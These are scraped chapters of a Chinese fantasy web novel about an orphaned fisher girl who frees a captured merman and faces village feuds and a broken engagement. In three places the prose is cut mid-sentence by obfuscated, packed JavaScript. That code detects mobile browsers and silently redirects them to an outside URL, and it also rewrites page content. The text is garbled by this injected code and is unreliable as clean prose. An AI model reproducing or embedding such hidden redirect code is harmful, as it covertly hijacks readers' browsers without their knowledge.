《渔女她杀疯了》 1. 第 1 章 天空被染成火红色,夕阳挂在海平线上,在波光粼粼的水面上映出一道金光,浪花打在沙滩,留下浅淡的痕迹又退去。 众人围坐在沙滩上,修补破损的罾网。 李海珠修剪整齐破洞边缘,用梭子牵引麻线,打好八字结,将断开的网格重新连接,修补得和周围完全一致。 紧接着找到下一个断线处,重复手中的动作,做得又快又好。 坐在对面的婶子觑一眼忙活的李海珠,低声议论:“以往她都不爱在这修补,今日是怎么了?” “现在不同往日,她患上恐水症,也是够可怜的,爹出海失事,娘也跳海殉情,还未嫁人就双亲皆亡。”说话的人声音压低,往前瞥了一眼。 弯腰修补的年轻女子穿一身斜襟右衽衣,裤腰间挂着两个荷包,秀发盘于脑后,头戴一朵白花,皮肤并不白净,而是带着风吹日晒的小麦色,眼睛大而有神。 脸颊有条疤痕,从鼻梁横到耳侧,如同美玉生瑕,好端端的一副容貌毁了。 往外瞥的人收回视线,叹了一口气:“李老大生前也是疼惜闺女,为她招赘婿,等到年后就成亲,以后也算有个依靠。” “那可不一定,不是所有人都是李老大。”有人回应道。 李老大曾经可是十里八乡出了名的美男子,捕鱼能力也是极强,就算拖着个妹妹,也有不少姑娘倾慕他,可偏偏看上个外族人,退掉身上的娃娃亲,和心上人成婚。 许是思及过去,那人叹道:“李老大是个痴情种,当初族老放话若要娶外族人,便不可再登族中大船,他倒也硬气,硬生生在码头做了四年苦力,买了艘破旧小艇,这些年靠捕鱼养活一家老小。” “其实十年前朝廷开始收鲛,族中有人找他摒弃前嫌,邀请他一起上船捉鲛,可李老大声称此生绝不伤鲛人。”说话的人摇头,“要是答应了,也许不会死。” 集全村财力买的黄花船可不是一艘小艇能够比的。 议论声便更多了,叽叽咕咕一大片。 “为什么不答应?” “鲛人的油制成长明灯,泣泪可成珠,价值千金,我要是男子肯定去。” 摊开的罾网长三丈,距离不算远,李海珠被迫从头听到尾,敛下眼皮,遮住眸中情绪。 爹不捕鲛是为了报恩。 李海珠六岁时,爹捕鱼迟迟不归,娘带着她在沿滩寻找,就在绝望之际,爹在海浪中出现,有只鲛人扯着他往岸边游,送到浅滩便立刻转身离开。 两人赶过去,爹已经神志全无,娘拿出准备好的灶中灰,从头至足埋人,爹醒来后便立下永不捕鲛的誓言。 后来有人找上门,是一向瞧不上她们母女的族老,关着门和爹谈论了很久。 李海珠记得很清楚,之后爹坐在门口一下午,沉默地看着海浪翻滚,起身时仿佛下定某种决心,招她上前:“海珠,别怪爹。” “大海,是馈赠。” 也是从那时开始,爹再不骄纵她,日夜教她各种生存的本领,手磨出血泡也要继续学,娘也只是心疼得直掉眼泪。 “你可以不做,但一定不能不会。”爹沉声说道。 如今才明白父母良苦用心,现在的她就算恐水,也能够养活自己。 李海珠吐出口浊气,但她不认可爹说的一句话。 对于她来说,大海是深渊,是吞噬至亲的伤心地。 “我猜是因为那个外族人,李老大就是娶了她才死的,丧门的狐狸精。” 尖锐的声音响起,打断了她的思绪。 说话的是个中年女子,面容娇弱,眉眼间却有一股阴郁,似乎是故意说大声,瞧见李海珠的目光,笑意更盛。 “要是当初履行婚约,哪有那么多事,这样看来也是自作自受,活该他……” “啪——” 女子脸上浮现红印,反应过来气急败坏:“你一个孤女敢打我!” 周围有大婶斥责,“林氏好歹是你远房长辈,无论对错也该礼让!” 李海珠哭丧着脸,“我刚刚被爹上身,他说有些事必须说清楚。” 众人骇然,海上讨生活的人无不敬鬼神。 林氏脸青白交错:“休在这胡说!” 李海珠一下变了脸色,目如寒光,抬手又是一巴掌。 “我是和你订有娃娃亲,但退婚把所有钱财都赔给你,直到你有归宿后,才和内子成亲,之后你丧夫,给的私赙比你父母还要多,平日更是对你多有帮扶,你还在这落井下石,真是令人作呕。” “我不欠你,我家内人更不欠你。” 林氏脸刷得一下变白,衬得耳垂上的血珠鲜艳欲滴。 “前年你找我们夫妻借了三两银子,现在身着血珠,却无钱还债,此为背信!”李海珠拿出借条,在众人面前过目。 有人上前瞧了一眼,“的确是林氏的字迹。” “在你亡夫命悬一线之际,是我背着去找医馆,而你现在却在欺负我的遗孤,此为忘恩!” 李海珠逐渐走进,吓得林氏连连后退。 “当初虽做不成夫妻,但也认你为义妹,如此这般诋毁我,此为负义!” “背信弃义,忘恩负义!”李海珠眼神睥睨,“林氏,你认或不认?” 众人交头接耳,议论声一片。 “林氏的确是太过分了。” “血珠也来得蹊跷,林氏哪有钱买这些,儿子也是个不争气的。” 林氏浑身颤抖,强撑着说话:“你想要怎么样!” 李海珠冷笑,抓着珠子用力一扯,“就拿这个抵。” 林氏吃痛叫出声,捂着流血的耳朵,整个人跌坐在沙滩上。 李海珠身体摇晃,像是有魂魄从身体离开,目光变得澄澈,上前搀扶林氏,却被推到在地。 “林婶为何要推我?”李海珠捂住嘴,泪流满面,“是海珠做错了什么吗?” “好孩子,是林氏之过。”刚刚斥责她的大婶将人扶起来。 李海珠好似才发现手上有颗珠子,“刚刚发生了什么?” “是你爹讨公道,这珠子你就收下。” 她哭得更大声,“爹,为何不多待一会儿,女儿好想你!” 林氏回过神,眼神恨得能吃人,“少在这里装神弄鬼!” 李海珠瑟缩在大婶怀里,“好可怕。” 大婶拍了拍她的背,叫人将林氏带走,“今日你的活计就到这里,还是给你算工钱。” “怎么能为我例外,我可以坚持。”李海珠擦干眼泪,继续坐在板凳上修补。 大婶望着倔强的背影,叹了一口气,是个好的,可偏偏是外族人生的。 殊不知李海珠眼中早就没有泪水,低头把玩血珠,嗤笑。 这珠子是鲛人临死流下的血泪,天天戴也不怕瘆得慌,半夜来找她索命。 她想,明日去集市一趟,买了换钱。 突然对面传来一声惊叫,“那不是我们村的渔船吗?” 众人往海面望去,空中升起一道红烟,三桅黄花船行进速度很缓慢,船头低垂,像只无头苍蝇到处乱飞,沙滩上隐隐听得到急促的敲锣声。 一看就是出事了,现在是捕捞的季节,村子的青壮年都出海,只留下些妇道人家留守。 不知道是谁先起的哭声,一瞬间哭喊声,哀求声响起,场面极其混乱。 她在人群看到姑姑,耷拉着肩膀,眼中满是泪花,跪倒在地,没有了往日的精神气,像极了娘当初得知爹葬身海腹,两种场景在她眼中重合,心瞬间提起来。 姑父还在船上。 “还有没有会开船的!”一声又一声的喊声让她回过神。 一艘船停在海岸,船头站着一个壮汉,身后有稀稀拉拉十人,一看人数就不够。 但按照船下沉的速度,肯定等不到官船,必须先由村民救护。 李海珠会开船,爹教她一身本事,曾夸赞:“我女天资聪慧,一点不逊于男儿。” 她刚想出声,突然冰冷的触感袭来,如跗骨之疽顺着脚踝蜿蜒而上,直达心脏,像是被无形的手捏住,整个人几乎要快窒息。 海水没过腿肚,一浪比一浪高,她像是全身被冻住,僵直站立,浑身发抖,眼中闪过畏惧,脑海里闪过爹侧翻的船只,娘走到海里的决绝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206372|197359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再次抬头望,黑漆漆的海面简直像吃人的巨兽,等待着猎物入腹,她再次低下头,似乎有大山压身,无法做到再上前一步。 她恐水。 海面上的敲锣声越急促,海面上的船愈发下沉,周围人哭天撼地的声音也愈演愈烈。 “人不够,还差一人船才能开!” 她恍惚听到有人在喊,回过神想道,姑姑还在等姑父回来。 “海珠,别怕,爹娘不在了,姑姑护着你。” 似乎又听到姑姑的温声细语,往日洪亮的嗓子,此时柔得不能再柔。 那时爹娘突然去世,她将自己关在黑屋里,周围人都在劝导,唯独姑姑劈开门,但进来后又变得小心翼翼,抱着她柔声安慰,似乎想要给她更多力量。 她身上的压迫像是减轻了,整个人喘着粗气,似乎尚有一丝呼吸的空间,眼神逐渐变得坚定,咬牙喊道:“我会!” 她不能再失去亲人了! “你?”汉子迟疑,“可是女子上船不吉利。” “现在是生死关头,其他都要放一放。” 汉子还是摇了摇头:“老祖宗的规矩不能破。” 两人僵持住,李海珠低头:“既然你不愿意,那就算了。” 汉子将视线从她离开,转而继续叫人,而此时她一个侧身,径直跑入船里,“现在破了。” 汉子眼含怒意:“你是哪家的?” “家父李老大。”李海珠拿起绞盘棒,眼皮抬起,“不要再墨迹了。” 汉子瞧她熟练的姿势,看来也不是花架子,眼看海上的渔船危在旦夕,皱眉沉声问:“会当水手吗?” 李海珠点了点头。 汉子高喊:“起锚——” 船逐渐驶离海岸,水手收回甲板,朝着渔船方向前进。 暮色降临,海水汹涌澎湃,伴随着刺骨的寒风,偏偏今日无星,只能依靠罗盘保持方向。 “偏了。” “你说什么?”汉子皱眉。 “我说船偏航了。” “你小女子不懂,不要乱说。”壮汉不耐烦甩了甩衣袖。 李海珠脸色苍白,并不是因为气恼,而是强压着恐水的不适,又观察船的走向,精神一直处于极度紧绷。 “正常应该是东南风,而现在却是西南风,而且沙漏已经落下一半,还没有到达受损渔船,说明方向一定是出了问题。” 壮汉沉默,深深地看了她一眼,仔细查看的确不对,下令改变方向。 抵达渔船下游,船已经淹了一半,海面上漂浮着捕捞晾干的海货,以及各种生活用品。 海况并不好,两艘船无法靠得太近,拖拽的缆绳无法抛掷过去。 “你去送绳。”汉子语气一顿,“之后辅助我们拖拉。” 李海珠腰间系上一根绳索,缆绳被盘好放在小艇。 随着哗啦一声,她划动船桨到达渔船,渔船有人接过,依靠绳子的拖拉,两艘船抵达浅滩停下,再从各个方向抛出缆绳,将其系在深水桩,停稳后坐上沙滩。 李海珠这才呼了一口气,停船上岸,两只腿险些站不住,胃里不断翻江倒海。 往前走了几步,她来到人少的礁石滩,手扶住一块礁石,指节因为过度用力泛白,弓腰低头作呕,像快要溺亡的人,打着大颤。 歇息了一会儿,她在一处角落看见姑姑,趴在姑父旁边哭,这下悬着的心彻底落下,幸好没出事。 “都怪那条鲛人!” 李海珠循声望去,是个年轻男子,手臂被木板固定住,疼得龇牙咧嘴,“本来是冲着幼鲛,都快要得手,半路冲出成年鲛人,直接把船头打穿,比任何鲛人都要凶残。” “差点命都要没了,要不是有人叉中幼鲛的腹部,威胁着鲛人投降,船直接被撕碎了。” 男子似乎心中很不满意,“最后只抓到那头鲛人,幼鲛全都跑了,要是幼鲛就好了,吓一吓还能哭出珍珠,不像成年鲛人怎么打都不哭,只能硬生生熬油。” 李海珠不想听这些,抬脚离开,却一句话停住脚步。 “那鲛人倒不似寻常,眼睛是金色的。” 2. 第 2 章 她想起当初爹得救的场景,飓风过境,海水呼啸,如蛟龙般扑食岸边,鲛人如履平地,在浪花中从容自如,提着爹爹衣领,冲出一条粗长的白线。 年幼的她大喊:“是爹爹和漂亮哥哥。” 鲛人抬眸,和她对上视线,那双眼睛如澹澹之水,映着日月光辉,哪怕是阴沉天气也耀眼夺目,让人移不开眼。 而那只鲛人眼眸也是金色。 不远处八人抬着长方形木棺,从甲板走至岸边,喜气洋洋。 木棺是专门用来放鲛的器具,在侧面底部有一排小孔,是鲛人挣扎时专门用来放水。 众人举着火把,往前张望着,突然木棺剧烈晃动,八人跌倒在地,有人痛骂道:“放了鱼藤还这么闹腾。” 那人打开挡着小孔的木板,水顺流而下,在沙滩流下暗痕。 “留一层薄水,活着熬,油质更好。”旁边有人叮嘱道。 李海珠站在人群中,透过那方小孔,看见那双熟悉的眼睛,依旧是那般澄澈透亮,似有金光浮动。 是救过爹的鲛人。 李海珠瞳孔微缩,下意识握住腰间的荷包,里面装着从小陪她长大的海螺,她心乱如麻,没想过两人再见是在这里。 木板再次遮挡住孔洞,棺中的动静小了,抬棺的人继续往前走,停在一处小屋子,那是专门用来熬鲛的地方。 李海珠垂下眼眸,等明日众人缓过劲,就要开始熬鲛了,要救他今天晚上必须行动,她又摸了摸海螺,也知道如果被发现,迎接她的是被逐出村子,甚至会被愤怒的村民打得半死。 * 船上的人在海里飘了一天,为了减轻自重,其他物品都丢弃在海里,只留下少数干粮,现在饿得不行。 村子里的女人忙着做饭,有人砧板上切着菜,有人烧菜。 柴火烧得正旺,发出滋滋声,上面铁锅熬着生姜水,有妇人搅动了一下,倒进桶里,“拿去分,大家暖暖身子。” 李海珠舀水到陶碗里,递给前来端碗的女子,“别忘了隔壁村来帮忙的,还有看守鲛人的男子,他们也辛苦了。” 等所有男人都分完,李海珠看着还有剩的姜汤,笑着说:“婶子们也喝些,这风也怪大的。” 她一碗又一碗递过去,也给自己打了一碗,在众人面前喝下去。 李海珠走到没人的角落,手指扣着咽喉,面无表情将喝下的全部吐出来。 安眠药大概要四个时辰左右生效,这时大多数人都回到家中,也会以为是正常的嗜睡。 夜色渐深,万物寂静。 李海珠睁开清明的双眼,换了一身男人的衣裳,描粗眉毛,脸上又蒙着黑巾,悄无声息来到关鲛的小屋。 门口的守卫早就安睡,她从守卫身上找到钥匙,打开挂在门上的锁。 推开门的一刻,她感觉被一股视线盯住,像猛兽猎食,不由得毛骨悚然。 李海珠打开火折子,往前一照,屋子中央放着长棺,旁边是灶锅和柴火。 鲛人正透过孔洞盯着她,如濒死的野兽般警惕,眼里隐约透露着恨意。 不信任是正常的。 李海珠推开盖板,就立马躲开,果然鲛人往她原先站的地方挥去一道利爪,直接对准脖子。 幸亏早有准备,安眠粉撒到鲛人身上,鲛人身体晃了晃,没有倒下,手抓着木棺边缘死盯着她。 泡在浸满鱼藤的水还这么有劲,刚才撒的量弄晕三十个人都足够! 还好多备了些,她又撒了许多,鲛人终于倒入棺里。 她松了口气,火折子往鲛人身上探,确保是真的晕倒。 不过有一说一,这鲛人凶猛,但也是真是俊俏。 年幼时记忆模糊不清,只记得那双别致的眼眸,如今近观,觉得就算是有渔村第一美男子称号的爹爹也不如他。 火光灼灼,鲛人安安静静地躺在那里,没有醒着那般凶狠,反而显得纯良温和,皮如白玉,眉心有朵水滴状的花苞,鼻子高挺,长长的睫羽在眼下形成扇形阴影,嘴唇紧抿,似乎经受了什么糟心事。 他上半身赤裸,但并不是瘦弱,肌肉和青筋蛰伏于皮肤之下,腰腹紧实有力,往下是坚硬的鳞片,覆盖住整条鱼尾。 整个人头发如海藻般散在水里,耳鳍透着蓝白柔光,像是水中摄人心魄,但又极其纯净的精怪。 李海珠抱起鲛人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第 3 章 李海珠早已转身离去,来到一处集市,此时天已大白。 这日恰好是赶集的日子,不少人带着海货来卖,集市里人来人往好不热闹。 李海珠来到临街的一家当铺,递出血珠,掌柜虚着眼打量半天,伸出一个手指头,“一两银子。” “掌柜的莫要框我。” 掌柜的道:“这血珠的确是鲛人流的,但成色并不鲜艳,珠子也不大。” 她收起血珠往回走,只见掌柜喊道:“哎,回来回来,今日就当是结个善缘,再加半两银子不能再多了。” 李海珠并不清楚血珠的价格,只是学着娘这般讨价还价,就算掌柜不喊她,走远点还有一家当铺,到时候心里有底,也不怕被坑。 她拿着银子走出当铺,逛起集市。 一处摊贩围着许多人,吸引了她的注意力,挤到前面观看。 小贩摊上只有一个指甲大小的浅灰硬块,小贩大声吆喝:“卖香嘞,顶级香料,不来买的都后悔!” “这要多少钱?”李海珠摸着硬块,往前一嗅,有股清香。 “客官好眼力,这是龙涎香,海中极其难寻的香料,在这我就低价卖了,只要二十两银子。” 全部家当都凑不齐二十两,她悻悻松开手,从摊子离开。 李海珠继续逛集市,看见卖胭脂水粉的摊子,上次看见姑姑的眉黛快要用完了,现在正好补上,掏出银子买了一支。 “卖鲛人眼珠子和头发咧。” 旁边摊上左侧挂着头发,微卷又带着细腻的光泽,右侧则是大大小小的眼睛,从中间凿了个小洞,用红绳穿在一起,风吹得来回摆动,弹在一侧木板又高高落下,并没有发出多大的声音,但却震耳欲聋。 眼睛用蜂蜡包裹住,似乎被人仿佛触摸,表面光滑透亮,像蓝宝石一样璀璨,不知为何李海珠从里面感受到无尽的悲伤。 她忽然没有再逛的兴致,买了一包蜜饯回到村子。 路上总有人偷瞟,指着她叽叽咕咕说着什么。 李海珠停住脚步,扯出一抹笑意,径直朝着那些人走去,“婶婶在说些什么,我也想听。” 那些人没料到她会直接走来,讪讪摆手,“拉些家常话罢了。” “还以为婶子们补渔网补多了,眼睛和手都出问题,各位婶子有病就去医馆治,千万不要讳疾忌医啊。” “你,你不尊长辈!” “婶子可就是误会我了,我是担心你们,我可听人说了,身体不受控制,长时间可是会瘫在床上。”李海珠眉头紧皱,“王婶,听说你儿子还在赌坊过夜,把捕鲛分的钱输了个精光,要是真瘫了,这后半辈子可怎么活啊。” “李婶,你怎么能够看笑话!”她捂着胸口,痛心疾首地说道:“不为王婶着急就算了,还在一旁偷笑,虽然说你有三个儿子,个个都是捕鱼好手,但也不能这样,大家都是同村的,低头不见抬头见的,真是太过分了!” “你笑我!”王婶冲李婶吼道。 李婶眼睛瞪大,“我没……” 王婶被怒火冲昏了头脑,“你这个没心的东西,当初你家穷得揭不开锅,是我偷偷接济你,现在嫁了个好汉,生了几个好儿子,便忘恩负义了!” 李婶也被拱起了火,“一天到晚一直在那说,不就是几袋咸鱼干,我不是都还给你,要不然再多你几袋,看你那斤斤计较的样子,哪里还有曾经温柔贤淑的样子!” 两人激烈吵起来,李海珠劝了几句,假意被推得踉踉跄跄,叹气离开了。 她沿着熟悉的路往前走,要将东西送到姑姑手里。 突然听到姑姑一声接着一声怒骂:“你们这些没心肝的,就知道在背后编排人,说句不好听的,要不是我家海珠,你们家的男人还不一定能够活下来,不感激也就算了,还在舞到我面前了!” 姑姑站在家门口,将手中的脏水泼出去,吓得前面人是节节后退。 那人说道:“吴氏,我这是好心提醒你,想想你兄长,要不是她上船带来了晦气,平时里惯于海浪斗争的人能死?” “她就是杀害她爹的凶手!” 姑姑气得拿起扫帚追着打,那人边跑边回头,“要不然这次鲛人也不会凭空消失,也是给村子带来晦气,你看她脸上那么长的疤,说不定是上天在惩罚她。” 扫帚打中那人肩背,屁股,痛得他连声叫唤,“吴二,你还不来管管你家婆娘,你有这么个悍妇,名声可不好!” “娘子。”姑父走出制止,“要沉住气。” 姑姑偏过头不说话,姑父拍着她的肩膀走进屋内。 李海珠目睹全过程,敛下眼帘,站在角落里等了一会,重新挂上笑容走进姑姑家中。 姑姑立刻迎上来,观察她脸中的神色,看见没有异常才暗暗送了口气,问:“今早我去找你,你去哪里都不在家?” 李海珠晃动着手上的物件:“去集市逛了一圈,给姑姑买了眉黛,快看看喜欢不喜欢?” “小小年纪乱花钱,给我买什么东西。”姑姑嗔怪,眼里却是止不住的笑意,拆开包裹的油皮纸,“这瞧着真不错。” “还有蜜饯,吃着甜丝丝的。”李海珠拿了一颗给姑姑,又朝姑父说:“您也吃。” 姑父温声道:“我不嗜甜。” “别管他。”姑姑紧握住她的手坐下:“有件正事想和你说,是关于你和护柱的婚事。” 李护柱是她爹招得赘婿,幼时逃难到渔村差点饿死,爹收留了他,等他在家养好身体后爹问打算,他说想留下当赘婿,爹看他为人憨厚老实,长得端正便同意了。 “你爹娘在世时已将契书交与官府,就差成亲了,姑姑找人算了算,下月初八是个好日子,护柱那边是没有意见,就来问问你。” “李护柱行商回来了吗?” “行商?”姑姑皱眉,“不是跟你姑父出海捕鱼吗?” 李护柱骗她? 村里出海捕鱼都是要去捉鲛,可唯独李护柱不能去。 爹不愿一身本领用于捕鲛,在学之前便要求她们立下誓言,绝对不会用这身本领捕鲛。 爹去世,就不算数了吗? 李海珠垂下眼帘问:“姑姑,我和他真的合适吗?” 姑姑敲了敲她的脑袋,“知根知底的,怎么不好,这门婚事你爹在是支持的,这是他的夙愿,我看是快要当新娘太紧张了。” “就定在下月初八,还得请个媒人。” 李海珠叹了口气,都定好了还问她干什么。 “坐着玩,等下用饭。”姑姑继续说道。 “我要先去看种的海蛎长得怎么样。” “也行,快去快回。” 每家每户女子都会种海蛎补贴家用,她种的那片滩涂离村很远,除了她也少有人来。 李海珠走到薄条石架旁,海蛎幼虫附着在石柱上,长势很好,个头圆润,上下蚝壳紧密闭合。 马上就可以收获了。 李海珠看完没有立即往回走,而是走到一处沙滩,背靠盘腿坐下。 打开荷包看着里面的海螺,这是年幼时在海滩发现的,当时便觉得花纹好看,显摆地拿给娘看,娘夸道:“紫月飘浮白,雅!” 小小的她听不懂这么文绉绉的话,转而求助爹爹,爹爹正在检查渔船,抬头笑道:“说你厉害呢。” 那可不是,她骄傲叉腰,但看见爹又要出海,泪眼朦胧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206374|197359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爹爹刮了刮鼻头,“乖乖和娘待在一起,等你和这个海螺说够一千句话,爹就回来了。” 于是从小到大就养成和海螺说话的习惯,但总是说不够一千句,她要吃娘亲做的鱼鲊,李护柱和表哥会找她玩,还有许多新鲜事总是会干扰她。 她也不在意,反正没说够,爹爹也会回来。 李海珠沉默片刻,对海螺道:“爹娘,这两日我有好好吃饭,也有好好睡觉,昨天用爹爹教的本事救人,我知道你们肯定会夸我……” 李海珠絮絮叨叨说了很多,讲得口干舌燥,她舔了舔嘴唇,声音略带苦涩:“已经说够一千句话了。” 爹爹你骗人。 还有海珠想你们了。 海水蔓过来,她下意识抖了抖,眼中闪过泪花。 突然远处出现白点,朝她游过来,是昨晚救的鲛人,上半身露出水面,在李海珠疑惑的目光里,放了一块鲛绡,叽里咕噜说了什么。 鲛人求偶好像是要唱歌送鲛绡,她摇了摇头,这个想法真可怕。 见她迟迟没有动静,又往前推了推。 “你……这是什么意思……” “@#¥&” 听不懂。。。 正在两人呆愣之际,姑姑的声音传来,是叫她回家用饭。 眼前的鲛人消失在视线中,只留下一块鲛绡,要是一直放在这里,肯定有人会在这里设网。 她紧抿着嘴走过去,那块鲛绡仿佛变成烫手山芋,迟疑了片刻,抓住放进袖口。 冰凉又柔软,比她摸过所有的织物都要平滑,凉而不寒,怪不得那么多人趋之若鹜。 “海珠,愣在这里干什么?”姑姑走过来。 “姑姑,小时候你们讲鲛人求偶的故事,这是真的吗?” “怎么突然想到这个。”姑姑拉着她的手往回走,笑了笑,“当然是真的,因为那个人就是你太祖爷爷。” 拉着的人突然不动了,姑姑疑惑看过去,只见李海珠露出比哭还难看的笑容。 我的天,鲛人真的喜欢她! * 沧冥回到海里,走进一处隐秘的巢穴,里面躺着十几只幼鲛,肚皮朝天睡觉,鲛绡垫在它们身下,旁边的男鲛人边织着鲛绡边低声埋怨,惹得一同的女鲛人白眼。 鲛人的族群是靠血脉相连,由年长且富有智慧的鲛人担任,她会为族群制定各种规定,其中便有成年未婚的鲛人需要守护幼鲛。 今日轮到沧冥。 女鲛人有些讶异:“怎么来得这么早?” 沧冥道:“族长规定需提前一个时辰到达。” “这些幼鲛太闹腾了,我织的绡都损坏好多。”男鲛人加快手中动作,叹道:“我要什么时候能够找到心仪的鲛人啊!” 未成婚鲛人为幼鲛织绡,成婚鲛人只给配偶织。 “现在就知足吧,等到幼鲛出海换水才难,人类会专门埋伏在那里,专门趁出去猎食捕幼鲛。” 女鲛人想到眼前鲛是唯一从人类那里逃出来,还是人类放的,问:“你报恩怎么样?” 沧冥垂下眼眸,恩人一碰到海水就哭,想来是怕水的,便织了鲛绡给她。 可是她似乎并不满意。 “人类就是贪婪,虽然她救了你,但是她的同类却杀戮过我们,要我说这恩不报也罢!”男鲛人嘟囔道。 “族长规定鲛人有恩必报,与种族纷争无关。”沧冥答道。 女鲛人说道:“报恩就要投其所好。” 沧冥在恩人手中闻到过抹香鲸排泄物的味道,似乎挺喜欢,摸了好久才留有这么浓重的味道。 他少见有些迟疑,原来她喜欢这种东西吗? 4. 第 4 章 李海珠又回到原来的地方,望着大海犯难。 必须要将鲛绡还回去,不然被发现可就麻烦了,可又无法联系到鲛人。 确定四周无人,她试探性喊了几声,海面上没有任何动静。 李海珠叹气,坐在礁石上那叫一个愁啊,这怎么就喜欢上她了,难不成鲛人也像画本子上一样救命之恩以身相许。 海面上出现流线型背鳍,她定睛一看,是鲛人扯着鲨鱼的尾巴。 鲨鱼激烈挣扎,在海面上荡起雪白的水花,鲛人利爪一拍,鲨鱼翻眼白晕了。 这是在猎食吧。。。 李海珠咽了咽口水,要是鲛人求爱不得,到时候一怒之下朝她动手,那岂不是要四分五裂。 语气一定要温和,她暗暗告诫自己,嘴角扯出笑容。 鲛人逐渐游进,那双灿若星河的眸子望着她,两人保持着合适的距离。 李海珠将鲛绡放在礁石上,往前推了推,虽然知道鲛人听不懂人类语言,还是跟他说:“我知道可能因为救命之恩,你对我产生一些情感,但那是不对的,救命之恩不一定要以身相许,而且也是因为你救了我爹,我才救了你。” “我们不合适。” 鲛人依旧没动,垂下眼眸,似乎在思考。 有戏! 李海珠趁热打铁,抓起一把泥沙放在他面前,“那只是一时冲动,很快就会散去。” 泥沙从指缝流出,落在水面上消失得无影无踪,她在鲛人的目光下,摊开空空如也的手掌,“我们也像这样,绝对不可能,你明白了吗?” 鲛人鼻翼翕动,盯住她的手愣了好几秒,最后拿走鲛绡。 李海珠狂喜,“那就再也不见。” 鲛人没有回应,消失在水面上,但这也不阻碍她的好心情,终于解决了一个大麻烦。 李海珠背着手,哼着小曲悠哉游哉回家。 家门外站着个年轻女子,一身素衣,面容娇美柔静,着急地四处张望。 李海珠停下脚步,这人她认识,是林氏的女儿,林渔娘。 林渔娘也看见她,小声说道:“我有事找你。” 李海珠打开门上锁,叫人跟着进来。 刚把门关上,林渔娘就朝她跪下,“求海珠姐姐成全我和护柱!” 李海珠挑眉,“那为什么李护柱不自己来说。” “他有愧于李家对他的养育和教导之恩,是我瞒着他过来。”林渔娘掩面哭泣。 她扯着一旁的椅子坐下,又推过去一把,道:“坐下,我们慢慢说。” “你不恼?” 李海珠当然是恼怒的,他又一次违背对爹的誓言,凭什么要她主动退婚,不付出任何代价。 但很快又平静下来,恼怒解决不了任何问题。 她笑道:“其实我对李护柱也只是哥哥情谊,他能够有更好的归宿,回答几个问题,我就写退婚书。” “你们是什么时候勾搭在一起?” 林渔娘犹豫地望了她一眼,小声说道:“一月前。” 也就是她爹娘刚过世,她咬紧后槽牙继续问:“林婶知道吗?” 林渔娘摇头。 李海珠笑了笑,给自己倒了一杯茶水,慢悠悠喝道:“林婶知道的话,非扒你们一层皮,到时候闹得人尽皆知可就不好看了。” “这个不劳你费心,我会说服我娘。”林渔娘不想忍受这漫长的折磨,站起来说道:“你还有什么问题快问!” “急什么,心急可吃不了热豆腐。”她随手从竹筛拿出小鱼干,递给眼前人,“边吃边聊。” 林渔娘闻到这脸色一变,捂着嘴作呕,似乎顾及什么又生生咽下去。 李海珠上下打量着她,穿得倒是宽松,手还有意护着肚子,故意说道:“退婚可以,但要多等几个月。” “为什么?”林渔娘脸色着急。 “你怀孕了?”语气不是疑问而是肯定。 林渔娘脸色一白,“只是吃坏肚子,你答应要给我的退婚书。” “当然。”李海珠大手一挥,在白纸上写下退婚书三个字,“拿去!” “你戏耍我!” “这这么能是戏耍呢,我可是从头到尾都只说给你写退婚书。”李海珠将纸往前一抛,“慢走,不送。” 林渔娘手紧紧握住那张白纸,抬头说道:“我昨夜看见你放走鲛人。” 李海珠面色不改,“空口白牙污蔑人,你有证据吗?” 所有有关鲛人的东西她都全部销毁,再怎么来翻也找不到任何东西。 “我虽然没有证据,但是光着脚不怕穿鞋的,到时候你也不会好受!”林渔娘吼道。 “你在威胁我。”李海珠笑着靠近,手捏住林渔娘的下巴,“你可要想清楚,一旦有孕传出去,当了一辈子寡妇的林氏可不会容你。” 送走人后,李海珠叹了口气,躺在摇椅上,头有点疼。 阳光在脸上落下光斑,她用手遮住眼睛,昨晚几乎没有睡,早上又起来赶集,困意逐渐来袭。 算了,先睡一觉吧。 “海珠!海珠!” 突然被一阵急促的敲门声喊醒,她揉了揉睡眼,打开门。 门口站着一个带着红花的媒婆,下巴有颗长毛的痣,“海珠啊,我是你姑姑叫来的,来商量下月初八的婚事。” 李海珠懒懒地抬眼,给人倒了一杯茶水,“可能要推迟了。” 她还没有想好怎么应付,先拖着。 “要推迟啊,下个月就两个好日子宜嫁娶,另一日我可是要去林家的,只能等到下下月嘞。” 李海珠问:“林家?林渔娘?” “是的嘞,和村东那瘸子,出得彩礼比旁人都要高,四月前就定下,不知道什么原因一拖再拖。” 李海珠敛下眼皮,城东瘸子是村里有名的残暴酒鬼,打死了好几任妻子,更有人传他好男色,这样的人林渔娘肯定不愿意嫁。 可不对的是两人一月前才勾搭在一起,按理来说若要摆脱这门婚事,越早越好。 心中有了猜测,但还需要印证。 她送走媒婆后,思量了半刻,往林家方向走去,路上遇到姑父。 